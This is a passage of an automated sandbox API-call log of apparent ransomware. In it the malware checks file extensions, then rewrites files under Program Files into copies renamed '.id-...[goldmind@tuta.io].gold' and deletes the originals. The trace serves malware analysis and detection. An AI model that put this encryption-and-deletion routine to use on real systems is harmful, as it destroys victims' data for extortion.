Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".dbf") returned 4 [0044.429] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".1cd") returned 4 [0044.429] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".jpg") returned 4 [0044.429] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".doc") returned 4 [0044.429] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".docx") returned 5 [0044.429] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0044.429] lstrlenW (lpString=".pdf") returned 4 [0044.429] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".xls") returned 4 [0044.429] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.429] lstrlenW (lpString=".xlsx") returned 5 [0044.429] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0044.429] lstrlenW (lpString=".ppt") returned 4 [0044.429] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".zip") returned 4 [0044.429] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.429] lstrlenW (lpString=".rar") returned 4 [0044.429] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".bz2") returned 4 [0044.429] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".7z") returned 3 [0044.430] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.430] lstrlenW (lpString=".dbf") returned 4 [0044.430] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0044.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.430] lstrlenW (lpString=".1cd") returned 4 [0044.430] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0044.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.430] lstrlenW (lpString=".jpg") returned 4 [0044.430] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0044.430] lstrcmpiW (lpString1=".wmv", lpString2=".gold") returned 1 [0044.430] lstrlenW (lpString="Notes_INTRO_BG_PAL.wmv") returned 22 [0044.430] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.430] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=253220) returned 1 [0044.430] CloseHandle (hObject=0x210) returned 1 [0044.431] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0044.431] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.431] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned 71 [0044.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned 71 [0044.431] lstrlenW (lpString=".doc") returned 4 [0044.431] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.431] lstrlenW (lpString=".docx") returned 5 [0044.431] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0044.431] lstrlenW (lpString=".pdf") returned 4 [0044.431] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.431] lstrlenW (lpString=".xls") returned 4 [0044.431] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.431] lstrlenW (lpString=".xlsx") returned 5 [0044.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0044.431] lstrlenW (lpString=".ppt") returned 4 [0044.431] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned 71 [0044.431] lstrlenW (lpString=".zip") returned 4 [0044.431] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.431] lstrlenW (lpString=".rar") returned 4 [0044.431] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.431] lstrlenW (lpString=".bz2") returned 4 [0044.431] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.431] lstrlenW (lpString=".7z") returned 3 [0044.431] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned 71 [0044.431] lstrlenW (lpString=".dbf") returned 4 [0044.431] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0046.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.240] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.254] GetLastError () returned 0x0 [0046.254] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4932, lpOverlapped=0x0) returned 1 [0046.269] WriteFile (in: hFile=0x170, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0046.270] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.270] WriteFile (in: hFile=0x170, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0046.270] SetEndOfFile (hFile=0x170) returned 1 [0046.270] CloseHandle (hObject=0x170) returned 1 [0046.270] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.270] SetEndOfFile (hFile=0x190) returned 1 [0046.271] CloseHandle (hObject=0x190) returned 1 [0046.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString=".doc") returned 4 [0046.272] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".docx") returned 5 [0046.272] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.272] lstrlenW (lpString=".pdf") returned 4 [0046.272] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".xls") returned 4 [0046.272] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".xlsx") returned 5 [0046.272] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.272] lstrlenW (lpString=".ppt") returned 4 [0046.272] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString=".zip") returned 4 [0046.272] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.272] lstrlenW (lpString=".rar") returned 4 [0046.272] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".bz2") returned 4 [0046.272] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".7z") returned 3 [0046.272] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString=".dbf") returned 4 [0046.272] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString=".1cd") returned 4 [0046.272] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString=".jpg") returned 4 [0046.272] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.272] lstrlenW (lpString=".doc") returned 4 [0046.272] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".docx") returned 5 [0046.272] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.272] lstrlenW (lpString=".pdf") returned 4 [0046.272] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".xls") returned 4 [0046.272] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.272] lstrlenW (lpString=".xlsx") returned 5 [0046.272] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.272] lstrlenW (lpString=".ppt") returned 4 [0046.272] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.273] lstrlenW (lpString=".zip") returned 4 [0046.273] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.273] lstrlenW (lpString=".rar") returned 4 [0046.273] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.273] lstrlenW (lpString=".bz2") returned 4 [0046.273] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.273] lstrlenW (lpString=".7z") returned 3 [0046.273] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.273] lstrlenW (lpString=".dbf") returned 4 [0046.273] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.273] lstrlenW (lpString=".1cd") returned 4 [0046.273] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0046.273] lstrlenW (lpString=".jpg") returned 4 [0046.273] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.273] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0046.273] lstrlenW (lpString="AG00021_.GIF") returned 12 [0046.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.757] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=14873) returned 1 [0047.757] CloseHandle (hObject=0x214) returned 1 [0047.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0047.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.758] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.758] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.759] GetLastError () returned 0x0 [0047.759] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0047.760] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0047.764] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.764] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.765] SetEndOfFile (hFile=0x190) returned 1 [0047.765] CloseHandle (hObject=0x190) returned 1 [0047.765] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.765] SetEndOfFile (hFile=0x214) returned 1 [0047.765] CloseHandle (hObject=0x214) returned 1 [0047.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.766] lstrlenW (lpString=".doc") returned 4 [0047.766] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.766] lstrlenW (lpString=".docx") returned 5 [0047.766] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.766] lstrlenW (lpString=".pdf") returned 4 [0047.766] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.766] lstrlenW (lpString=".xls") returned 4 [0047.766] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.766] lstrlenW (lpString=".xlsx") returned 5 [0047.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.766] lstrlenW (lpString=".ppt") returned 4 [0047.766] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.766] lstrlenW (lpString=".zip") returned 4 [0047.766] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.766] lstrlenW (lpString=".rar") returned 4 [0047.766] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.766] lstrlenW (lpString=".bz2") returned 4 [0047.766] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.766] lstrlenW (lpString=".7z") returned 3 [0047.766] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.766] lstrlenW (lpString=".dbf") returned 4 [0047.766] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.766] lstrlenW (lpString=".1cd") returned 4 [0047.766] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.766] lstrlenW (lpString=".jpg") returned 4 [0047.767] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.767] lstrlenW (lpString=".doc") returned 4 [0047.767] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.767] lstrlenW (lpString=".docx") returned 5 [0047.767] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.767] lstrlenW (lpString=".pdf") returned 4 [0047.767] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.767] lstrlenW (lpString=".xls") returned 4 [0047.767] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.767] lstrlenW (lpString=".xlsx") returned 5 [0047.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.767] lstrlenW (lpString=".ppt") returned 4 [0047.767] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.767] lstrlenW (lpString=".zip") returned 4 [0047.767] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.767] lstrlenW (lpString=".rar") returned 4 [0047.767] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.767] lstrlenW (lpString=".bz2") returned 4 [0047.767] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.767] lstrlenW (lpString=".7z") returned 3 [0047.767] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.767] lstrlenW (lpString=".dbf") returned 4 [0047.767] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.767] lstrlenW (lpString=".1cd") returned 4 [0047.767] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0047.767] lstrlenW (lpString=".jpg") returned 4 [0047.767] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.767] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.767] lstrlenW (lpString="AG00040_.GIF") returned 12 [0047.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.767] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8097) returned 1 [0047.768] CloseHandle (hObject=0x214) returned 1 [0047.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0047.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.768] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.768] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.768] GetLastError () returned 0x0 [0047.768] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0047.770] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0047.771] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.771] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.771] SetEndOfFile (hFile=0x190) returned 1 [0047.771] CloseHandle (hObject=0x190) returned 1 [0047.771] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.771] SetEndOfFile (hFile=0x214) returned 1 [0047.772] CloseHandle (hObject=0x214) returned 1 [0047.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.772] lstrlenW (lpString="C:\\Program Files\\Microsoft 